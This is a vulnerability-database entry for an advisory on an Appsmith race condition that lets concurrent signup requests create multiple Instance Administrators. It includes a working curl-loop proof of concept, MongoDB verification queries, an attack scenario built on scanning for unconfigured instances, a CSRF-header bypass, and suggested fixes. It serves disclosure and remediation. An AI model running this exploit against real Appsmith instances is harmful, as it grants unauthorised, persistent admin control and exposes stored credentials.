Skip to content
Fencer Intel
high 8.1

GHSA-9wcp-79g5-5c3c json

Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators

published 4mo ago modified 4mo ago

cvss
8.1
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## Summary

The `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.

## Severity

- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition) - **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — **8.1 (HIGH)**

## Affected Version

- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch) - Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25) - Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`

## Root Cause

The `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270–295) performs a non-atomic check-then-act sequence:

```java // Step 1: CHECK — query MongoDB for existing users userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS)); } // Step 2: ACT — create user and grant admin (not atomic with Step 1) return signupAndLogin(user, exchange); }) .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user))); ```

The `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35–44) queries MongoDB without any locking mechanism:

```java public Mono<Boolean> isUsersEmpty() { return queryBuilder() .criteria(Bridge.or( notExists(User.Fields.isSystemGenerated), Bridge.isFalse(User.Fields.isSystemGenerated))) .limit(1).all(IdOnly.class).count().map(count -> count == 0); } ```

There is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.

## Proof of Concept

### Environment Setup

```bash # Start a fresh Appsmith instance docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release # Wait ~90 seconds for all services to initialize ```

### Step 1: Verify Fresh State

```bash curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool # Expected: {"data": {"email": "anonymousUser", ...}} ```

### Step 2: Send Concurrent Requests

```bash for i in $(seq 1 10); do curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \ -X POST http://localhost:9090/api/v1/users/super \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "X-Requested-By: Appsmith" \ -d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" & done wait

# Check results for i in $(seq 1 10); do echo "racer${i}: $(cat /tmp/race_result_${i}.txt)" done ```

### Step 3: Verify in MongoDB

```javascript // Connect to MongoDB inside the container // docker exec -it appsmith-test mongosh <connection_string>

// Count non-system users (expected: 1, actual: 10) db.user.countDocuments({ isSystemGenerated: { $ne: true } })

// Check who has manage:users permission db.user.find( { isSystemGenerated: { $ne: true } }, { email: 1, "policies.permission": 1 } ).forEach(u => { const hasManage = u.policies?.some(p => p.permission === "manage:users"); printjson({ email: u.email, manage_users: hasManage }); });

// Check Instance Administrator Role assignments db.permissionGroup.findOne( { name: "Instance Administrator Role" }, { assignedToUserIds: 1 } ); ```

### Observed Results

| Metric | Expected | Actual | |--------|----------|--------| | Users created | 1 | **10** | | Users with `manage:users` policy | 1 | **10** | | Users in Instance Administrator Role | 1 | **2** |

All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.

## Impact

1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.

2. **Persistent Backdoor**: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.

3. **Full Instance Compromise**: Instance Administrator privileges grant: - User management (create, delete, modify all users) - Access to all datasource credentials (database passwords, API keys) - Modification of all applications and their server-side logic - Environment configuration (SMTP, OAuth, encryption settings)

## Attack Scenario

1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning). 2. Attacker polls `GET /api/v1/users/me` — if the response contains `"email": "anonymousUser"`, the instance has not been set up yet. 3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests. 4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges. 5. Attacker now has persistent, full administrative access to the instance.

## Suggested Fix

### Option A: MongoDB Transaction (Recommended)

Wrap the check-and-create in a MongoDB transaction to ensure atomicity:

```java public Mono<User> signupAndLoginSuper(...) { return reactiveMongoTemplate.inTransaction().execute(session -> { return userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(new AppsmithException( AppsmithError.UNAUTHORIZED_ACCESS)); } return signupAndLogin(user, exchange); }); }).single() .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user))); } ```

### Option B: Distributed Lock

Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:

```java public Mono<User> signupAndLoginSuper(...) { return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10)) .flatMap(lock -> userService.isUsersEmpty() .flatMap(isEmpty -> { if (!Boolean.TRUE.equals(isEmpty)) { return Mono.error(...); } return signupAndLogin(user, exchange); }) .doFinally(signal -> lock.release())); } ```

### Option C: Unique Constraint

Add a MongoDB unique partial index that prevents more than one super admin:

```javascript db.user.createIndex( { "isSuperAdmin": 1 }, { unique: true, partialFilterExpression: { "isSuperAdmin": true } } ); ```

## CSRF Note

The `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99–102), which is a static, publicly known value.

Patch / fix

  • maven com.appsmith:server 1.99

Is GHSA-9wcp-79g5-5c3c in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
maven com.appsmith:server
<1.99
1.99

Classification

Weakness
  • CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.